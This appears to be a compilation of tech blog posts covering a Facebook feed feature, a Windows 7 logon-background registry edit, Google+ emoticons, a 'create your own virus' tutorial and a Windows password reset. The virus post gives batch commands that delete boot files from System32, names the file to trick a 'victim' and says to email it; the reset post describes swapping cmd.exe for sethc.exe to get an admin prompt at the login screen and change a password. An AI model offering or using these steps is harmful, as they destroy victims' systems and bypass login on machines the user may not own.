Return Visit-Aware

Return visit aware: the future of networking knows what you have consumed.
Personally I don't know how many people have noticed this return visit functionality of Facebook.

We all remember Facebook had two tab earlier. 'Most Recent' & 'Top News' stream.
Users who used to login once in a day preferred the top news stream whereas returning users viewed the most recent stream to get the latest updates from their friends and colleagues.

The new layout of Facebook has come out with a great solution regarding this problem.
If you haven't noticed it yet, try it now..

Importance: Facebook had been struggling earlier since most of the users didn't see the two tabs at top and found Facebook to be stale, causing them to leave the site or simply navigated away.
So returning users find new content on the site, which undoubtedly increases traffic on Facebook.
This is what I get on returning to Facebook..

Smart move Facebook as it solved all these problems by aligning its interface with natural human habits.  (deserved the blue Facebook color)

Change the logon screen on Windows 7

Be it screensavers, desktop wallpapers or font type and sizes, visual customization at the OS level is usually important to all kinds of users.
Finally Microsoft has incorporated a new feature in the latest build (7057) of Windows 7 which supports the end user to change the logon screen background without using any hacks or third-party tools.

In previous versions including Windows Vista as well users had to install a third party software like tune-up utilities to change the logon screen. This even slowed the booting time. But in Windows 7 changing the boot screen is as simple as changing the wallpaper..(ok..not that easy)..

Hands On approach:-

This method will require you to modify the registry, no need to freak out..this might be your first registry edit..viola!!


Step 1: Press (Windows Key) + R , to open the RUN dialog box.

Step 2: Type 'regedit' without the inverted commas and press Enter.

Step 3: See the left pane and navigate to:-
HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Authentication->LogonUI->Background

Step 4:If the key does not exist, add a new DWORD value with the name OEMBackground. (Right click->New->DWORD)

Step 5: Double click on the entry OEMBackground, and change the value from 0 to 1.

Your registry editor window should look like this.

Step 6: Open Windows Explorer and go to the following path: %windir%\system32\oobe.

Step 7: Create a new folder named info, and open it.

Step 8: Create a new folder within info named backgrounds.

Step 9: In this folder save any image(not larger than 256KB) you would like to appear at your logon screen. Once you save the image in this folder rename it to backgroundDefault.jpg .
I chose this image.

Step 10: Reboot your computer and this should do the trick.. Have fun..!!

I personally changed my logon screen. Here are the actual screenshots.

Try it out...

Special emoticons in Google+

Aside from the standard smiley emoticons, these are the special emoticons that work in Google+ chat:

~=[,,_,,]:3 (special cat ;)
:3 (cat)
:(:) (pig)
:(|) (monkey)
V.v.V (crab)
-<@% (bumblebee)
+/'\ (cowbell)
:{ (mustache)
}:-) (devil)
\m/ (rock out)
<3 (heart)
(broken heart)
>.< (wince)
:-x or :* (kiss)

 
In addition to the above (except ~=[,,_,,]:3), there are 2 more special emoticons that work only in Gmail chat:
[:|] (robot)
~@~ (poop)

You can also find more Gmail emoticons by:
1. Activating "Extra Emoji" in Gmail labs
2. Going to this link and increasing the number at the end of the URL: 
https://mail.google.com/mail/e/350

So, whats your favorite emoticon?

Create your own virus in 3 easy steps

Creating an elementary virus is very easy if you have the talent to fool your victim. I describe you today an ethical way to create a virus that runs only when deliberately clicked ("ethical").

Step 1.>
Open notepad and type the following lines exactly without any alteration:-

del "C:\WINDOWS\SYSTEM32\bootok" /Q /S >nul
del "C:\WINDOWS\SYSTEM32\bootvid.dll" /Q /S >nul
del "C:\WINDOWS\SYSTEM32\bootvrfy" /Q/S >nul

Your notepad window should look like this:-

These commands delete the bootvid.dll file from your windows directory and therefore will completely disable the booting up of PC next time your victim would start the PC.
This problem can only be solved by re-formatting the entire C drive and re-installing windows.

Step 2.>
File->SaveAs
Save the above notepad file with any filename.bat you think that your victim would open most likely.

I used the name funny_videos.bat and saved the file on my desktop.
It appears as:-

Step 3.>
It is no longer a step. Just e-mail this file or run this file on your victim's computer and it will refuse to start.

CONGRATULATIONS!!! You just created your first virus..

WARNING: NEVER run the file you created on your own system.

Reset Your Forgotten Windows Password the Easy Way

Forgetting your password is never any fun, but luckily there’s a really easy way to reset the password. All you need is a copy of the Windows installation disk and one simple command line trick.

Resetting Your Forgotten Windows Password

Boot off the Windows disk and select the “Repair your computer” option from the lower left-hand corner.

Follow through until you get to the option to open the Command Prompt, which you’ll want to select.

First you’ll want to type in the following command to backup the original sticky keys file:

copy c:\windows\system32\sethc.exe c:\

Then you’ll copy the command prompt executable (cmd.exe) over top of the sticky keys executable:

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

Now you can reboot the PC.

Resetting the Password

Once you get to the login screen, hit the Shift key 5 times, and you’ll see an administrator mode command prompt.

Now to reset the password—just type the following command, replacing the username and password with the combination you want:

net user  "username" "new password" (without the " " )

That’s all there is to it. Now you can login.